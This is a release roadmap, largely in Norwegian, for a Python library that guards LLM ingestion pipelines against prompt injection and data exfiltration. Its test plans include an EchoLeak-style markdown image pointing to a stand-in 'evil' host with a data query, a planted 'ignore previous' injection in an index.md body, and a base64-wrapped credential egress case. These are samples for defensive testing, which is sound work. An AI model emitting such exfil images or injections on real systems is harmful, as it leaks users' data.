1
0
Fork 0
llm-ingestion-pipeline-secu.../docs/PLAN-v1.md
Kjell Tore Guttormsen 6cd4694613 docs(plan): Session G landed, D4's rationale lives where the promise does, and the ninth surface was verified not bumped
Three durability gaps from the release, none of which block anything.

1. Session G had no LANDET marker. Every other landed session carries one
   with its sha and tag; the release that froze the surface did not.

2. D4's rationale existed only in STATE.md, which is LOCAL-ONLY and gets
   overwritten every session. The consumer-promise section says in its own
   words that promises live in this file and not in STATE, 'fordi STATE er
   LOCAL-ONLY' -- so a decision NOT to fire one belongs here too. A future
   session reading promise 1 would otherwise find no notification and no
   reason, which is indistinguishable from having forgotten it. The
   counter-reading is recorded with it: the wording ('enhver endring')
   pointed the other way, and it is a real argument, not a strawman.

3. 98ebc07's message says 'Nine current-state surfaces bumped by hand'.
   Eight were bumped. The ninth is the Forge description, which carries no
   version string and so was structurally invisible to the 421-hit sweep --
   the same blind-spot class as the status badge and Development Status.
   Verified against the Forgejo API instead: 178 codepoints, no version, no
   'alpha'. It needed no change, but 'verified' is not 'bumped' and a pushed
   commit message cannot be amended.
2026-08-13 22:45:11 +02:00

38 KiB
Raw Permalink Blame History

Re-planlagt roadmap — v1.0 (Python) + Node/TS-port

Forfattet: Fable 5, 2026-07-09 (kryssmodell-review, docs/review-2026-07.md); promotert til live sesjonsplan 2026-07-10. Sporet docs-fil; hjem = Forgejo open/ (eneste sanksjonerte offentlige flate, aldri GitHub). Utfyller docs/PLAN.md (høynivå byggeplan) med detaljerte, Opus-eksekverbare sesjon-specer.

Mållinje (bindende): (a) en shippet, klasseledende v1.0 av Python-biblioteket (lukk review-funn + format/kvalitets-gaps, konsolider terskler, verifiser novelty-claimet, docs, versjons-sync + publish), OG (b) en Node/TS-port over den delte JSON-lexicon. Node-porten starter FØRST når Python-v1.0-surfacen er frosset og scan-ren (Session G). Stream 4 (pre-adaptasjons-scan) og consumer-integrasjon hører til «Ambisiøse utvidelser» (review Del 1), ikke v1.0-sekvensen.

REVIDERT 2026-07-25 — v1.0-gaten er strammet, og en 0.3.0 er skutt inn foran G. Setningen over sier at consumer-integrasjon IKKE er del av v1.0-sekvensen. Den gjelder ikke lenger. Operatør-beslutning: 1.0.0 gates på at den første ekte integrasjonen kommer grønt tilbake (llm-ingestion-okf steg 4 / deres v0.4.0), ikke på vår egen suite. Begrunnelse: 522 egenskrevne tester + en egenskrevet coverage-matrise beviser at koden gjør det vi designet, ikke at designet overlever kontakt med virkeligheten. Bevisbyrden kom utenfra — okf fant, i sin FØRSTE utveksling med oss, at main hadde divergert fra v0.2.0 på import_bundle, og at CHANGELOG manglet tre atferdsendringer. Koden bestod; utgivelses-hygienen gjorde det ikke. v1.0 er primært et governance-løfte under semver, så det løftet avgis først etter én validert release-syklus.

v0.3.0 er derfor kuttet 2026-07-25 (tag pushet; 467b9e3). Den bærer Session A/A2/B ut til konsumenter som fortsatt pinner v0.2.0 og dermed ikke har noe av hardningen — og den er det som i det hele tatt gjør ekte tilbakemelding mulig. Minor og ikke patch fordi A2 (0772daf) satte allow_reserved=True som default og dermed LØSNET en gate. Node-porten (TRACK 2) er fortsatt blokkert bak G.

Endringer mot låst roadmap (STATE «re-sekvensert 2026-07-06»): steg 2 «modne guarden» utvides med review-injiserte fiks-sesjoner (A/B/C/D/E) FØR release (G). .pdf (steg 2i) blir en eksplisitt operatør-beslutning (Session F) med anbefaling om konsesjon. Node-porten (gammelt steg 3) splittes i P0-P7 med en delt parity-fixture som ryggrad.

Format per sesjon: Mål · Scope-grense · Avhengigheter · Filer · TDD-plan · Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid: PYTHONPATH=src .venv/bin/pytest …. Én sesjon ≈ «Les STATE.md og følg instruksen».


TRACK 1 — Python v1.0

Session A — Aktivt-innhold-detektor wiret inn i gaten (injisert av review MAJOR #1)

  • Mål: screen_output og okf.import_bundle skal surface EchoLeak-klassen (markdown-bilde/lenke/refdef/autolink/aktiv-HTML) som findings som mater disposition — uten å bryte report/mutasjon-separasjonen.
  • Scope-grense: rører IKKE lexicon/entropy/secret-logikk, contract, fence, sanitize. Ingen ny runtime-dep (stdlib-only). neutralizes muterende API beholdes uendret (bakoverkompatibelt).
  • Avhengigheter: ingen (kan starte først).
  • Filer: nytt src/llm_ingestion_guard/active_content.py (report-only scan_active_content(text, source) -> Report, OWASP LLM05); refaktor neutralize.py til å dele regex-tabellen; edit output.py (scan_output steg 6: kall scan_active_content); edit __init__.py (eksporter scan_active_content); edit tests/test_showcase.py + tests/test_okf_showcase.py (plant EchoLeak-vektor); ny tests/test_active_content.py.
  • TDD-plan (failing FØRST):
    1. test_active_content.py::test_markdown_image_is_reportedscan_active_content("![x](https://evil/leak?d=1)") inneholder label active:markdown-image, severity HIGH. (Rødt: modulen finnes ikke.)
    2. test_screen_output_reports_echoleakscreen_output("![x](https://evil/leak)", PRESET_USER_UPLOAD).disposition er QUARANTINE_REVIEW+ (ikke WARN).
    3. test_okf_import_flags_body_echoleak — bundle med markdown-bilde i body → aggregat ≠ WARN.
    4. Minimal impl: del regexene, report-only pass, wire i scan_output.
    5. Regresjon: hele suiten grønn (neutralize-tester uendret).
  • Nøkkelantakelser (+ test):
    • «neutralize og den nye detektoren kan dele samme regex-tabell uten atferdsendring i neutralize.» Test: eksisterende tests/test_neutralize.py passerer uendret etter refaktor.
    • «severity-valget (HIGH for bilde) gir ønsket disposition under begge preset.» Test: assertion 2/3 over. Risiko hvis feil: for lav severity → fortsatt WARN; testes eksplisitt.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_active_content.py tests/test_showcase.py tests/test_okf_showcase.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import screen_output, PRESET_USER_UPLOAD, Disposition; d=screen_output('![x](https://evil/leak?d=1)', PRESET_USER_UPLOAD); assert d.disposition is not Disposition.WARN, d" → exit 0.
    • python -c "import tomllib,pathlib; assert tomllib.loads(pathlib.Path('pyproject.toml').read_text())['project']['dependencies']==[]" → exit 0 (kjerne-invariant intakt).

Session A2 — OKF reservert-fil-håndtering (index.md/log.md) (injisert av review MAJOR #2)

  • Mål: import_bundle skal behandle legitime reserverte strukturfiler (index.md/log.md, spec §3.1/§6/§7) som skann-body-men-ikke-path-rejekt, ikke hard-avvise dem — og faktisk skanne index.md-bodyen (lest først, høyest-prioritert injeksjonsflate). Behold shadow-rejektet i upload/front-end-konteksten.
  • Scope-grense: rører IKKE validate_concept_paths oppførsel i upload-konteksten (front-end shadow-reject beholdes). Ingen endring i T1/T2/T3-gatene. Kun mode-b bundle-import-grenen.
  • Avhengigheter: ingen kode-avhengighet av A; men bør landes FØR G (frys). Kan parallelliseres med A/B/C.
  • Filer: edit src/llm_ingestion_guard/okf.py (_validate_concept/import_bundle: reservert-basenavn → skann-gren i stedet for path-reject; link_graph uendret); edit tests/test_okf.py + tests/test_okf_showcase.py (nytt: legitimt bundle med index.md/log.md ADMITer; injeksjon i index.md FANGES; shadow-upload i front-end REJECTer fortsatt).
  • TDD-plan (failing FØRST):
    1. test_okf.py::test_legit_index_and_log_admit — bundle {index.md, log.md, tables/users.md} (rene) → aggregat WARN, ingen error på index/log. (Rødt i dag: FAIL_SECURE, verifisert i review-proben.)
    2. test_okf.py::test_injection_in_index_body_is_caught — injeksjon i index.md-body → concept-report har override:ignore-previous. (Rødt i dag: findings=[].)
    3. test_okf_inbox_uploads.py::test_reserved_name_upload_is_rejected — MÅ fortsatt REJECTe (front-end shadow-reject bevart).
    4. Minimal impl: skill reservert-basenavn i bundle-import (skann-body) fra upload-materialisering (shadow-reject).
  • Nøkkelantakelser (+ test):
    • «index.md/log.md kan skannes som tekst uten path-reject uten å svekke shadow-vernet i upload-konteksten.» Test: assertion 1-3 samlet — legit bundle admits, index-injeksjon fanges, upload-shadow rejects.
    • Risiko: okf_version-frontmatter er tillatt KUN i bundle-root index.md (spec). Hvis body-skann kjører parse_frontmatter på en index.md kan strict-gaten tripp. Test: test_index_with_okf_version_frontmatter_admits — skann index.md-body, ikke reject på lovlig okf_version.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_okf.py tests/test_okf_showcase.py tests/test_okf_inbox_uploads.py → alle grønne.
    • PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard import okf; r=okf.import_bundle({'index.md':'---\nokf_version: 0.1\n---\n# Listing\n','tables/users.md':'---\ntype: t\n---\nclean\n'}); assert r.disposition.value=='warn', [ (c.path,c.disposition.value,c.error) for c in r.concepts ]" → exit 0.

Session B — base64-innpakket secret-egress (injisert av review MINOR)

  • Mål: decode-and-rescan skal også kjøre scan_secret_egress over dekodet base64-plaintext, så en base64-innpakket credential fanges av LLM02-gaten.
  • Scope-grense: kun output.py decode-rescan-løkken (steg 3). Ingen endring i entropy-klassifisering, lexicon, eller egress-mønstrene selv.
  • Avhengigheter: ingen (uavhengig av A; kan parallelliseres).
  • Filer: edit src/llm_ingestion_guard/output.py (steg 3: legg til scan_secret_egress(blob.decoded) med decoded:egress:*-relabel); edit tests/test_output.py; edit README honest-limits (restgap: hex-innpakket).
  • TDD-plan:
    1. test_output.py::test_base64_wrapped_secret_is_caught — output med base64(AWS-nøkkel, fragment-bygget gitleaks-safe) → finding-label decoded:egress:aws-access-key-id. (Rødt i dag — Probe 3 bekreftet [].)
    2. Minimal impl: i decode-rescan-løkken, kjør også scan_secret_egressblob.decoded, relabel decoded:<label>, bær blob-offset.
    3. Restgap-test: hex-innpakket secret er FORTSATT ikke fanget → dokumenter som honest-limit (bevisst avgrensning, ikke stille miss).
  • Nøkkelantakelser (+ test):
    • «evidence bærer aldri secret-verdien, også for den dekodede varianten.» Test: assert nøkkel-fragmentet ikke i finding.evidence.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest tests/test_output.py → N grønne (N = før +2).
    • PYTHONPATH=src .venv/bin/python /path/to/probe.py (Probe 3 fra reviewen) → base64-linjen viser nå decoded:egress:aws-access-key-id.

Session C — Novelty-survey + README/BRIEF-reframe (injisert av review MAJOR #2)

  • Mål: erstatt det uverifiserte/absolutte novelty-claimet med den forsvarbare kompositt-kontrakt-formen; oppdater BRIEF §11 fra «assumed» til verifisert-med- avgrensning.
  • Scope-grense: docs only (BRIEF.md, README.md). Ingen kodeendring. Ingen ny absolutt novelty-setning.
  • Avhengigheter: ingen.
  • Filer: edit docs/BRIEF.md §11; edit README.md posisjonering; ev. edit docs/PLAN.md-posisjonering (§19-45) — men PLAN er live-plan, la Opus avgjøre om den røres eller kun refereres.
  • TDD-plan (docs — verifiserbar via review, ikke pytest): ingen failing test; i stedet en verifiseringslogg i BRIEF §11 som lister ipi-scanner + aig-guardian med URL og hvorfor de ikke motbeviser kompositt-kontraktet.
  • Nøkkelantakelser (+ test):
    • «ingen bibliotek pakker det fulle firdelte kontraktet som minimal-dep kode.» Test: gjenta PyPI/GitHub-surveyen (søk «RAG ingestion security», «write-time prompt injection», «ipi-scanner», «ingest guard»); bekreft at ingen ny kandidat dekker karantene+isolasjon+scan-før-persist+fail-secure samlet. Merk dato.
  • Verifisering: grep -n "assumed, not verified" docs/BRIEF.md → tom (claimet ikke lenger uverifisert); grep -niE "query-time.*or hosted|the only" README.md → ingen absolutt formulering igjen.

Session D — Kalibrerings-konsolidering (injisert av review Akse 4; Node-prereq)

  • Mål: samle alle kalibrerings-konstanter (entropy-gulv, MAX_SCAN_CHARS, rot13-min, cognitive-load-lengder, disposition-rangeringer) i én dokumentert flate calibration.py, så Node-porten kan speile nøyaktig samme tall.
  • Scope-grense: ren refaktor — null atferdsendring. Ingen terskeljustering (det er en separat, senere kalibrerings-oppgave). Kun flytting + navngiving.
  • Avhengigheter: bør komme ETTER A (så aktivt-innhold-severities også bor der).
  • Filer: nytt src/llm_ingestion_guard/calibration.py; edit entropy.py, lexicon.py, disposition.py, active_content.py til å importere derfra.
  • TDD-plan:
    1. Snapshot-test FØRST: kjør hele suiten, lagre at 321(+delta) er grønne.
    2. Flytt konstanter; importer.
    3. Regresjon: identisk testresultat (ingen ny/endret assertion) beviser null atferdsendring.
  • Nøkkelantakelser (+ test): «flyttingen endrer ingen verdi.» Test: hele suiten grønn uendret; en eksplisitt test_calibration.py asserter de konkrete tallene (5.4/128, 5.1/64, 4.7/40, 1_000_000, 40, 2000/2500) som en frossen kontrakt Node-porten deler.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest → samme antall grønne som før sesjonen (ingen delta i test-count utover test_calibration.py).

Session E — Docs/versjons-sync + SECURITY/CONTRIBUTING + honest-limits (injisert av review MINORs)

  • Mål: fjern versjons-drift; legg til manglende åpen-kildekode-artefakter; oppdater honest-limits med de residualene reviewen avdekket.
  • Scope-grense: docs/metadata only. Ingen kodeendring.
  • Avhengigheter: etter A/B/C (så honest-limits reflekterer faktisk tilstand).
  • Filer: README.md (badge tests-275→faktisk N; status v0.1v1.0; honest-limits: HIGH-i-trusted-prosa-residual, base64/hex-secret-restgap, quarantine-floor-note); docs/BRIEF.md:6-7 (fjern «No code yet»); nytt SECURITY.md (disclosure-policy, Forgejo-kontakt); nytt CONTRIBUTING.md.
  • TDD-plan: ingen pytest; verifiser via grep-sjekker under.
  • Nøkkelantakelser (+ test): «badge-tallet matcher faktisk suite.» Test: badge-N == pytest-output.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest -q | tail -1 → «N passed»; grep -n "tests-${N}_passing" README.md treffer.
    • grep -niE "v0\.1|275_passing|No code yet" README.md docs/BRIEF.md → tom.
    • test -f SECURITY.md && test -f CONTRIBUTING.md → exit 0.

Session F — .pdf-beslutning (operatør-gate; to gjensidig utelukkende spor)

  • Mål: avklar det siste format-gapet. Anbefaling: konsesjon (F1).
  • Rasjonale for konsesjon: front-end er en dev-scoped showcase, ikke shippet kode; README honest-limits sier allerede pdf-ekstraksjon er upålitelig; å legge til reportlab KUN for å lage white-on-white-test-fixtures er uforholdsmessig (to nye dev-deps for et demo-format). Binærlag-carriers (OCR/font-stego) er uansett eksplisitt out-of-scope. Konsesjon svekker ikke v1.0.
  • Spor F1 (anbefalt) — Konseder .pdf permanent:
    • Filer: README.md honest-limits (.pdf = bevisst honest-limit, ikke TODO); docs/PLAN.md §247-tabell (marker .pdf-raden «conceded»).
    • Verifisering: grep -n "pdf" README.md viser konsesjon, ikke «known gap».
  • Spor F2 (kun hvis operatør vil ha .pdf) — Bygg .pdf-slice:
    • Operatør-gate FØRST: bekreft pypdf (lesing) + reportlab (skrive white-on-white fixtures) som nye [dev]-deps — aldri core. Kjerne-invariant dependencies=[] MÅ holde.
    • Filer: pyproject.toml ([dev] += pypdf, reportlab); tests/inbox_frontend.py (_extract_pdf + dispatch .pdf); tests/test_okf_inbox_uploads.py (slice 2i: _make_pdf med white-on-white + normal-tekst injeksjon, detach-proof).
    • TDD: test_pdf_whiteonwhite_injection_is_caught (rødt) → _extract_pdf → grønt; test_pdf_detach_proof.
    • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_okf_inbox_uploads.py → +N grønne; python -c "import tomllib,pathlib; d=tomllib.loads(pathlib.Path('pyproject.toml').read_text()); assert d['project']['dependencies']==[] and 'pypdf' in ' '.join(d['project']['optional-dependencies']['dev'])" → exit 0.
  • Avhengigheter: uavhengig; kan gjøres når som helst før G.

Session G — v1.0 freeze + release (LANDET 2026-08-13)

LANDET — 98ebc07, tag v1.0.0 pushet. D1D6 i docs/GATE-G-v1.md §6 tatt av operatøren: frys på 0.7.0 (D2 i), :492/:460/:88 konsedert i 1.x (D3/D5, e9d8fb2), varslingsplikten fyrte ikke (D4 — begrunnelse over ved løfte 1), active_tag_class er IKKE en pinnbar shape (D6). Åtte flater bumpet for hånd; den niende — Forge-beskrivelsen — ble VERIFISERT mot API-et og trengte ingen endring (178 kodepunkter, ingen versjon, ingen «alpha»). Klassifiseringssveipet (421 treff) og git show 98ebc07:README.md kjørte begge FØR taggen, i den rekkefølgen; anonym pip install …@v1.0.0 i rent venv etter. Sveipet fant to flater lista under ikke navnga: READMEs status-badge og ADOPTION-BRIEFs testtall (791 mot 792). 792 tester, 129/129, 6/6.

  • Mål: shippe v1.0.0; fryse den offentlige surfacen som porten oversetter.
  • Scope-grense: ingen ny feature. Kun versjons-bump, CHANGELOG, tag, push.
  • Avhengigheter: A, B, C, D, E, F ferdig (alle review-funn lukket/konsedert per 2026-07-25) PLUSS den reviderte gaten: første ekte integrasjon grønn — se REVIDERT-blokken øverst. Konkret: llm-ingestion-okf steg 4 / v0.4.0 kjører grønt mot v0.3.1 (de har FORPLIKTET seg til å kjøre Door B+C-fixtures og sende resultatet UANSETT utfall — et rødt FP-resultat er like verdifullt), OG ingen API-formsendring ut av den integrasjonen som ikke er absorbert. Ett validert integrated teller mer enn fem planned-erklæringer; vi venter IKKE på de øvrige (ms-ai-architect bygde sitt eget, okr er operatør-parkert).
  • ⚠️ GATEN KAN IKKE ÅPNES AV ET GRØNT SVAR ALENE — verifiser hvilken versjon som ble resolvet (funnet 2026-07-25, premiss-verifisering). Setningen «v0.4.0 kjører grønt mot v0.3.1» var skrevet mot en pin vi ikke hadde lest. Den gang pinnet okf guarden >=0.2,<0.3 i [project].dependencies og [tool.uv.sources]-taggen til v0.2.0 (verifisert på deres v0.4.0-tag og HEAD 4ea00a9). <0.3 ekskluderte både 0.3.0 og 0.3.1, så et grønt svar var det ENESTE utfallet som intet forteller og ser ut som det forteller alt. OPPDATERT PREMISS (2026-08-11, lest fra deres pyproject.toml, ikke fra en coord-melding): okf står nå på dependencies = ["llm-ingestion-guard>=0.3,<0.4"] og [tool.uv.sources]-tagg v0.3.4. Det snur konsekvensen: en kjøring på et uendret tre resolver nå v0.3.4, som ligger innenfor det gaten ber om, ikke utenfor. Nullresultatet over er dermed borte — men to ting følger, og ingen av dem avgjøres her:
    • <0.4 ekskluderer 0.4.0 og 0.5.0. Aksesplittelsen (Risk/action_map) og input-cap-refusjonen er per definisjon utenfor enhver måling okf gjør i dag.
    • Gaten er formulert som «passerer mot guard 0.3.1», og en kjøring i dag måler 0.3.4. Om det teller som oppfylt er en operatørbeslutning, ikke en premissoppdatering, og den er bevisst ikke tatt i denne økten. Gate-kravet, presist formulert (okf spurte rett ut 2026-07-25 — svaret er låst): gaten krever at fixture-settet passerer mot guard 0.3.1, med den resolvede versjonen lest fra importlib.metadata ved kjøretid og oppgitt i resultatet. Gaten krever IKKE at okfs taggede artefakt kan resolve 0.3.1 — det er en RELEASE- beslutning eid av deres operatør, ikke et bevis om vår kalibrering. Vi stiller ingen release-forespørsel. Målingen skal kunne si nei uten at noen først har shippet et utvidet range; ville vi krevd det motsatte, ville vi bedt dem utgi en range som slipper inn en versjon de ennå ikke har målt. Deres metode (scratch-venv utenfor prosjektmiljøet, --no-deps, guard installert direkte fra v0.3.1-taggen, resolved versjon assertert) tilfredsstiller gaten.
  • Transitiv ankomst teller IKKE som integrasjon (portfolio-optimisers innsikt, 2026-07-25). okf v0.4.0 gjør guarden til en OBLIGATORISK runtime-dep, så en konsument kan få oss i grafen uten å velge oss — og lander da på det okfs pin slipper inn, i dag v0.3.4 (var v0.2.0 da dette ble skrevet), altså uten aksesplittelsen og uten input-cap-refusjonen. Stille under-forsvar, ikke brudd. En konsument som fikk oss ved uhell måler ingenting med hensikt; grønt derfra beviser mindre enn rødt fra en som valgte oss.
  • Filer — NI current-state-flater, ikke fire (korrigert 2026-08-11). Denne linjen listet fire, og 0.5.0-sveipet fant at fem til bar et versjonsutsagn ingen release noensinne hadde rørt. Én av dem sto allerede navngitt her (**Status:**- linjen) og ble likevel oversett i 0.4.0 — å føre en felle er ikke å anvende den.
    • pyproject.toml (version, + Development Status :: 3 → 5 - Production/Stable)
    • src/llm_ingestion_guard/__init__.py (__version__)
    • README.md: badge, **Status:**-linjen, install-pinnen
    • SECURITY.md: «pre-1.0 (0.x.x, alpha)» — den ENESTE med konsekvens for en utenforstående, siden den navngir støttevinduet. Ved 1.0.0 skal setningen ikke bumpes, den skal skrives om: «pre-1.0» er ikke lenger sant.
    • docs/BRIEF.md og CLAUDE.md: status-linjen (sistnevnte også modultallet)
    • docs/ADOPTION-BRIEF.md: status-linjen, «As of vX.Y.Z»-linjen, testtallet
    • Forge-beskrivelsen: ingen versjon, men ≤180 kodepunkter — verifiser mot API-et. Sorteringen kommer FØR første redigering, og den er ufravikelig: et sveip etter versjonsstrengen treffer også målingsproveniens («New in v0.4.0», «verified identical on 0.2.0 and 0.3.1», «measured against the v0.3.1 tag», hver «post-0.4.0 tree» i LIMITATIONS). De skal ALDRI bumpes — det falsifiserer journalen i stedet for å oppdatere den. Derfor kan dette ikke være et sed-sveip. NB — entryen kan ikke lenger «liste A-F»: A/A2/B ligger allerede ute under [0.3.0]. [1.0.0] skal referere [0.3.0] + [0.3.1] for atferdsendringene og selv bære frysepunktet (API-stabilitet + det integrasjonen beviste), ikke gjenta dem.
  • TDD-plan: ingen ny test; hele suiten grønn er release-gaten.
  • Nøkkelantakelser (+ test): «alle versjonsreferanser er synkrone.» Testen «grep alle fire filer» holdt ikke — den forutsatte listen den skulle verifisere. Erstattet av to sjekker som gjøres FØR taggen finnes (rekkefølgen er poenget — v0.4.0 verifiserte etter, og bærer derfor feil README permanent):
    1. git grep -n -E 'v?0\.[0-9]+(\.[0-9]+)?' over ALLE sporede filer, hvert treff klassifisert current-state eller proveniens. Ingen current-state-treff igjen som ikke sier 1.0.0.
    2. git show <pre-tagg-sha>:README.md — den beviser hva taggen kommer til å bære. En vellykket install fra sha-en beviser bare at pakken bygger; teksten er en annen påstand. Begge kjøres, i den rekkefølgen, og taggen settes etterpå. Etter taggen: kjør install-blokka ordrett slik README-en trykker den (anonym https mot open/-speilet, mot @v1.0.0) — det er kommandoen en fremmed utfører.
  • Verifisering:
    • PYTHONPATH=src .venv/bin/pytest → alle grønne.
    • grep -rn "1\.0\.0" pyproject.toml README.md src/llm_ingestion_guard/__init__.py CHANGELOG.md → treffer i alle fire; grep -rn "0\.3\.0" … → ingen dangling ref utenfor CHANGELOG-historikken.
    • Install-pinnen i README må verifiseres mot den NYE taggen i en ren venv (anonym pip install …@v1.0.0) — README skal aldri avertere en kommando vi ikke har kjørt.
    • git tag v1.0.0 + push til open/ (durabelt autorisert). STATE.md røres ikke av tag (local-only).

Session H — 0.3.1: regresjonsfiks for aktivt-innhold-kalibrering (LANDET 2026-07-25)

LANDET — 6e9b816, tag v0.3.1 pushet. Begge defekter fikset sammen; repro-tabellen under er kjørt på nytt og snudd (ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet → fail_secure). 577 tester grønne, coverage-matrise exit 0 (128/128 recall, 6/6 gap holder), anonym ren-venv-install av @v0.3.1 verifisert. Nye residualer skrevet inn i docs/LIMITATIONS.md (beaconing, kort opak URL-del, percent-escape-FP) og asserteres av matrisen. Alle 7 varslede repo har fått MÅLINGENE. Neste: akse-separasjonen (deteksjon ≠ disposisjon), ikke ny preset.

RETTET 2026-08-10 — denne linja sa «Neste: Session G» og var en felle. «Session G» er en skrevet seksjon lenger opp (:231) og den er v1.0 freeze + release — noe helt annet. Det fantes ALDRI en skrevet plan-seksjon for akse-separasjonen; pekeren traff denne ene framoverlinja, og en økt som fulgte den ville designet mot feil seksjon. Tallet ble heller ikke 0.4.0: 0.4.0 gikk til input-cappen (operatørvalg 08-10), og akse-separasjonen landet som del av 0.5.0-arbeidet. Den er nå BYGD og committet — se CHANGELOG.md [Unreleased] for hva den faktisk ble (Risk-aksen, Policy.action_map, DispositionResult.assessment), målt additiv: 703 → 715 tester uten at én eksisterende test ble endret, matrise 128/128 + 6/6, og PRESET_USER_UPLOAD- tabellen på :288-290 re-målt rad for rad uendret. Begge låste løfter under :370 ble målt mot det og fyrer IKKE. 0.5.0 er ikke tagget: taggen venter på en release-commit som bærer alle fem versjonsflater samtidig.

  • Mål: gjøre den utrustede upload-stien brukbar igjen uten å miste EchoLeak- deteksjonen, og lukke testgatens blindfelt som slapp regresjonen forbi 522 grønne tester.
  • Utløser: llm-ingestion-okf projiserte konsekvensen fra CHANGELOG-teksten FØR 0.3.0 ble kuttet; vi shippet før vi leste innboksen. De traff retningen og undervurderte alvoret.

Målt på v0.3.0 (ikke antatt) — begge dører, PRESET_USER_UPLOAD / origin=EXTERNAL:

dokument utfall
ingen lenker warn
én ordinær lenke / autolink / refdef quarantine_review
én ordinær bilde-referanse fail_secure
relativt/lokalt bilde warn
  • Rotårsak — tre UAVHENGIGE defekter som forsterker hverandre:

    1. Severity følger konstruksjons-TYPE, ikke URL-FORM. markdown-image: HIGH fyrer på ethvert eksternt bilde. Exfil-primitivet er ikke «et bilde» — det er en URL som bærer data utover. ![diagram](https://example.com/a.png) bærer ingenting.
    2. Quarantine-floor fyrer på ENHVER finding (policy.quarantine_default and report.found). Premisset «findings er unntaket» brøt da hver lenke ble en finding. Dette er den allerede dokumenterte «vakuøs quarantine-floor»-residualen.
    3. FP-korpuset kunne strukturelt ikke fange det: _FALSE_POSITIVE (6 prosa-snutter) har NULL markdown-lenker/bilder; asserteres KUN under PRESET_TRUSTED_SOURCE (hvor alt gir warn uansett); og kjører _scan_input, så scan_output steg 6 — der active_content faktisk bor — berøres aldri av korpuset.
  • Begge kodeendringer trengs sammen (verifisert): kun (1) → floor karantenerer fortsatt; kun (2) → HIGH-bilde fail_secure'er fortsatt.

  • Scope-grense: INGEN ny offentlig API. Ny mellom-preset er 0.4.0, ikke denne. Rør ikke trusted-tier-residualen (HIGH-i-trusted→WARN). Ingen omskriving/neutralize i gaten — biblioteket reparerer ikke stille (bekreftet som bærende av okf).

  • Avhengigheter: ingen.

  • Filer: calibration.py (alle nye tall — låst konvensjon), active_content.py (form-analyse), disposition.py (floor-terskel), tests/test_corpus.py (blindfeltet), tests/test_active_content.py, coverage.py, CHANGELOG.md, docs/LIMITATIONS.md.

  • TDD-plan (failing test FØRST — Iron Law):

    1. Utvid _FALSE_POSITIVE med REALISTISKE markdown-dokumenter (ordinær lenke, bilde, autolink, refdef, blandet) og legg til et FP-testtilfelle som kjører screen_output under PRESET_USER_UPLOAD. Dette skal være rødt før noen kildeendring — det er beviset på at gaten nå faktisk dekker regresjonen.
    2. Form-analyse i active_content: ordinær ekstern URL (bar sti, ingen query, ingen høy-entropi-segment) → LOW; exfil-form → behold HIGH/MEDIUM. Gjenbruk entropy- modulen; ikke oppfinn ny heuristikk. data-uri og raw-html beholder HIGH ubetinget (aktive uansett URL-form).
    3. Floor-terskel i _base_disposition: fyrer på MEDIUM+ i stedet for enhver finding.
    4. Adversarielt mot-korpus: exfil-formede URL-er (query som bærer verdi, høy-entropi sti-segment/subdomene, percent/base64-payload) MÅ fortsatt nå HIGH → fail_secure.
  • Nøkkelantakelser (+ test):

    • «0.3.1 er ærlig som patch, ikke minor.» VERIFISERT 2026-07-25: lexicon har 0 LOW/INFO-mønstre (40 high / 22 medium / 21 critical) og ingen annen detektor produserer LOW. Floor-endringen er derfor en no-op for alt som fantes før 0.3.0 — den løsner ingenting for en v0.2.0-konsument. Re-test: python -c "…Counter(severity)…" skal fortsatt vise null LOW/INFO.
    • «form-heuristikken har ikke falske negativer på ekte exfil.» Test: mot-korpuset i TDD-steg 4. Dette er den farlige antakelsen — en for grov «ordinær»-definisjon gjenåpner EchoLeak.
    • «ren beaconing forblir udekket.» Et bilde som kun trigger et fetch uten å bære data (IP/metadata-lekkasje) faller til LOW. Dette er et BEVISST nytt hull og skal skrives inn i docs/LIMITATIONS.md, ikke ties i hjel.
  • Verifisering:

    • PYTHONPATH=src .venv/bin/pytest → alle grønne (-q skjuler summary — dropp den).
    • python -m llm_ingestion_guard.coverage → exit 0; ingen dokumentert gap-assertion brutt, og de nye FP-tilfellene er representert i matrisen.
    • Repro-tabellen øverst kjørt på nytt: ordinær lenke/bilde/autolink/refdef → warn på BEGGE dører; exfil-formet bilde → fail_secure under upload-preset.
    • Versjons-sync 0.3.0→0.3.1 i alle fire filer + README install-pin; anonym ren-venv pip install …@v0.3.1 før README averterer den.
    • Coord til de 7 varslede repoene med MÅLINGER, ikke beskrivelse (vi lovet det).

🔒 Konsument-varslingsplikt — to LÅSTE løfter (gitt 2026-07-25)

Begge er gitt til navngitte konsumenter som bygger på nåværende atferd. De bor HER og ikke bare i STATE.md, fordi STATE er LOCAL-ONLY og gitignored — et løfte som kun finnes der overlever ikke en maskin. Å bryte ett av disse stille er en release-defekt, ikke en preferanse.

  1. Gradering av ordinære lenker/bilder under PRESET_USER_UPLOAD — enhver endring krever varsel til linkedin-studio før den shippes. De pinner v0.3.1 ved wiring og bygger på 0.3.1-formen; en stille re-stramming lander som produksjonsincident hos dem, ikke som en release-note. Gjelder også 0.4.0: akse-separasjonen skal endre DISPOSISJON, ikke graderingen — viser det seg feil under scoping, fyrer løftet.

    D4, avgjort av operatøren 2026-08-13 ved v1.0-frysen: løftet fyrte IKKE av rå-HTML-bevegelsen 0.3.1→0.7.0, og intet etterskuddsvarsel gikk ut. Begrunnelsen styrer, ikke ordlyden. Løftets formål er navngitt i teksten over: en stille re-stramming lander som produksjonsincident hos dem. Alle fire ordinære markdown-former er målt IDENTISKE 0.3.1 vs 0.7.0 (WARN/LOW, før/etter i samme økt, docs/GATE-G-v1.md §4); de fire radene som flyttet seg LØSNET alle (<a href> HIGH→MEDIUM, <a aria-label> og </a> HIGH→rent, ZWJ-emoji HIGH→rent). En løsning kan ikke produsere incidenten løftet finnes for å hindre. Ordlyden («enhver endring») pekte motsatt vei, og det er den reelle motforestillingen — hadde den styrt, var varselet uteblitt i tre utgivelser. Nedtegnet her, ikke i STATE.md, nettopp av grunnen seksjonen selv oppgir: et fravær uten begrunnelse er ikke til å skille fra at vi glemte det.

